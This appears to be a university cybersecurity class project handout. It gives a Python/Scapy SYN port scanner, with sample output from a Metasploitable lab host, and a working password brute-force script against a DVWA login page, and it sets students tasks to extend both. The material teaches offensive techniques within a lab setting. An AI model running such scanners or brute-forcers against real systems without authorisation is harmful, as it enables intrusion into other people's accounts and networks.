CSCS 495 A

FORMAN CHRISTIAN COLLEGE

(A CHARTERED UNIVERSITY)

CYBER SECURITY

Class Project

This project should be attempted individually. Do not copy paste from your fellow students. Any such attempt if caught will result in ZERO grade in this assignment.

Submission Date: Jan 05 2025 on Moodle Course Page

Max Marks: 100

ROLL No.

Submission Format:

In the report you should provide the following:

- The code snippets you write should be included in the report along with the detailed documentation (separate from the code). Documentation should be comprehensive enough explaining the logic and all major modules and methods used in your code.
- A soft copy of the report along with the python code files zipped in a single file should be uploaded on MOODLE on or before 11:59 pm, Jan 05, 20205. A hard copy should be submitted in class on Dec 07, 2025.

Task 1 --- Network Scanning

We will start with basic code snippets and develop our understanding about the following concepts in python.

- Displaying current time
- Working with different Network protocol headers
- Getting command line arguments

Following sample programs demonstrate how to scan ports against an ip or range of ip address.

Example Code Snippet 1

This program will simply display the message about starting the scan and date / time of scan.

Try to understand different methods / functions used in this program.

```
from scapy.all import Ether, ARP, srp, conf
import sys
import time

###usage
# python scan1.py eth0 <ip address or ip_range to scan>
####
def arp_scan(iface,ip_range):
      print("[+] Scanning ",ip_range)
      cur_time = time.time()
      print("[+] Scanning started at ",time.ctime(cur_time))

if __name__ == "__main__":
      iface = sys.argv[1]
      ip_range = sys.argv[2]
      arp_scan(iface,ip_range)
```

On kali you can execute it as follows:

Usage: program accepts two arguments, the interface and the ip address or ip range

```
$ sudo python scan1.py eth0 192.168.181.233
[+] Scanning  192.168.181.233
[+] Scanning started at  Fri Dec 13 09:00:52 2024
```

Example Code Snippet 2

Here we move one step ahead and display different packets. Play with the code and make sure you understand what is going on.

```
from scapy.all import Ether, ARP, srp, conf
import sys
import time

###usage
# python scan1.py eth0 <ip_range to scan>
###
def arp_scan(iface,ip_range):
	print("[+] Scanning ",ip_range)
	cur_time = time.time()
	print("[+] Scanning started at ",time.ctime(cur_time))
	#from here on we start sending packets
	conf.verb = 0
	broadcast = "ff:ff:ff:ff:ff:ff"
	ether_layer = Ether(dst=broadcast)
	arp_layer = ARP(pdst=ip_range)
	packet = ether_layer / arp_layer

	print(packet.show())


if __name__ == "__main__":
	iface = sys.argv[1]
	ip_range = sys.argv[2]
	arp_scan(iface,ip_range)
```

On kali you can execute it as follows:

Usage: program accepts two arguments the interface and the ip address or ip range. It then outputs the starting time of scan along with different sections of Ethernet, and ARP headers.

```
$ sudo python scan2.py eth0 192.168.181.233
[+] Scanning  192.168.181.233
[+] Scanning started at  Fri Dec 13 09:11:11 2024
###[ Ethernet ]###
  dst       = ff:ff:ff:ff:ff:ff
  src       = 08:00:27:d2:26:79
  type      = ARP
###[ ARP ]###
     hwtype    = Ethernet (10Mb)
     ptype     = IPv4
     hwlen     = None
     plen      = None
     op        = who-has
     hwsrc     = 08:00:27:d2:26:79
     psrc      = 192.168.181.160
     hwdst     = 00:00:00:00:00:00
     pdst      = 192.168.181.233
```

Note: In your report you must describe each element in the output.

Example Code Snippet 3

This code snippet will accept an ip (preferabley IP of our M2 machine), and lower and upper port numbers in the range. For example, lower port number can be 1 and higher port number can be any value less than 65535.

The output will show the list of all the open ports in the specified machine.

```
from scapy.all import *
import random
import sys
import time

######USAGE
###############sudo python scan4.py ip portLo portHi
def syn_scan(target_ip, port_range):
    ctr = 0;
    cur_time = time.time()
    print("[+] Scanning started at ",time.ctime(cur_time))
    for port in port_range:
        # Create SYN packet
        syn_packet = IP(dst=target_ip) / TCP(dport=port, flags="S")

        # Send SYN packet and wait for a response
        #sr1 is used to send packet and receive the response
        response = sr1(syn_packet, timeout=1, verbose=0)

        # Analyze the response
        if response:
            if response.haslayer(TCP):
                if response.getlayer(TCP).flags == 0x12:  # SYN-ACK flag
                    print(f"{f'tcp/{port}':<12}open")

                    # Send RST to close the connection
                    rst_packet = IP(dst=target_ip) / TCP(dport=port,
flags="R")
                    send(rst_packet, verbose=0)

                elif response.getlayer(TCP).flags == 0x14:  # RST flag
```

```
                    #print(f"Port {port} is closed.")
                    ctr=ctr+1
        else:
            print(f"tcp/{port}\t\tfiltered")
    print("closed ports ",ctr)



if __name__ == "__main__":
    # Define target IP and port range
    target_ip = sys.argv[1]
    port_low = int(sys.argv[2])
    port_high = int(sys.argv[3])
    port_range = range(port_low, port_high)  # Ports range

    print(f"Starting SYN scan on {target_ip}")
    syn_scan(target_ip, port_range)
```

On kali you can execute it as follows:

Usage: program accepts three arguments: the ip address, low port number, and high port number.

It will scan and display the open ports within the range of ports specified in the command line arguments.

```
$ sudo python scan4.py 192.168.181.233 10 100
Starting SYN scan on 192.168.181.233
[+] Scanning started at  Fri Dec 13 09:15:11 2024
tcp/21      open
tcp/22      open
tcp/23      open
tcp/25      open
tcp/53      open
tcp/80      open
closed ports  84
```

Network Scanning Problem Statement

Your task is to extend the functionality of example code snippet 3 so that now we should have the following output:

```
$ sudo python scanner.py 192.168.181.233 10 500
Starting scan on 192.168.181.233
[+] Scanning started at  Fri Dec 13 09:22:14 2024
tcp/21          open | ftp | 220 (vsFTPd 2.3.4)
530 Please login with USER and PASS.
tcp/22          open | ssh | SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1
tcp/23          open | telnet | ▒#'
tcp/25          open | smtp | 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)
tcp/53          open | domain | Unknown version
tcp/80          open | http | HTTP/1.1 400 Bad Request
Date: Fri, 13 Dec 2024 14:21:57 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
Connection: close
Content-Type: text/html; charset=iso-8859-1
tcp/111         open | sunrpc |
tcp/139         open | netbios-ssn | Unknown version
tcp/445         open | microsoft-ds | Unknown version
Closed ports  481
```

Important:

Note that you MUST write your code on top of the code provided in example 3. Any attempt to deviate from the given code template will not be considered for grading.

Make sure that you only have to add few lines of code inside the example 3 code to fulfill the requirements.

Task 2 --- Brute Forcing Password

Example Code Snippet

File name: bruteforce1.py

This program can be used to brute force the main page of DVWA and similar web pages.

Some explanation about the code:

The requests module in Python is a popular library used for making HTTP requests. It provides an easy-to-use interface to send HTTP requests, handle responses, and interact with web services or APIs.

Key Features:

- **Sending HTTP requests**: It supports various HTTP methods like GET, POST, PUT, DELETE, etc.
- **Handling responses**: It allows easy access to response content (like JSON, HTML, or text), status codes, and headers.
- **Support for authentication**: It can handle basic authentication, sessions, and OAuth.
- **Handling parameters**: You can send URL parameters, headers, and data with requests.

The program responses on the kali terminal as follows:

```
$  python bruteforce1.py
Enter URL: http://192.168.181.233/dvwa/login.php
Enter username: admin
Enter name of password file to use: passwords.txt
Enter the string that occurs when login fails: Login failed
Trying: 123
Trying: 12345
Trying: 123456
Trying: 123456789
Trying: rauf
Trying: rbee
Trying: rbeerbee
Trying: hacker123
Trying: passwd
Trying: password
Found username ==>admin
Found password ==>password
```

```
import requests
url = input('Enter URL: ')
username = input('Enter username: ')
passwdfile = input('Enter name of password file to use: ')
login_failed_string = input('Enter the string that occurs when login fails: ')
def cracking(username,url):
      for password in passwords:
            password = password.strip()
            print('Trying: ' + password)
            data = {'username':username,'password':password,'Login':'submit'}
            response = requests.post(url,data=data)
            if login_failed_string in response.content.decode():
                  pass
            else:
                  print('Found username ' + '==>' + username)
                  print('Found password '+ '==>' + password)
                  exit()
with open(passwdfile,'r') as passwords:
      cracking(username,url)
print('No match found')
```

Task-1

Change the above program such that it should accept all the input values in the form of command line arguments.

Further there is no error checking in the above code. If user supplies an invalid or incorrect input, program crashes. Make changes so that the program should exit gracefully with an appropriate message to the user in case it encounters an invalid input.

Task-2

Rewrite the above program with an additional functionality such that now it should also crack the password for the brute force page of DVWA. Remember that we did it using Hydra where we used cookies as an input argument. The cookies value for the page can be obtained using Proxy tab of the burp suite.

The source of DVWA brute force page will provide you some information about the changes you need to make as far as user input is concerned.

Your program should accept cookies as optional input. In case if cookies are not required, as in the case of Task 1, user can leave it as empty string.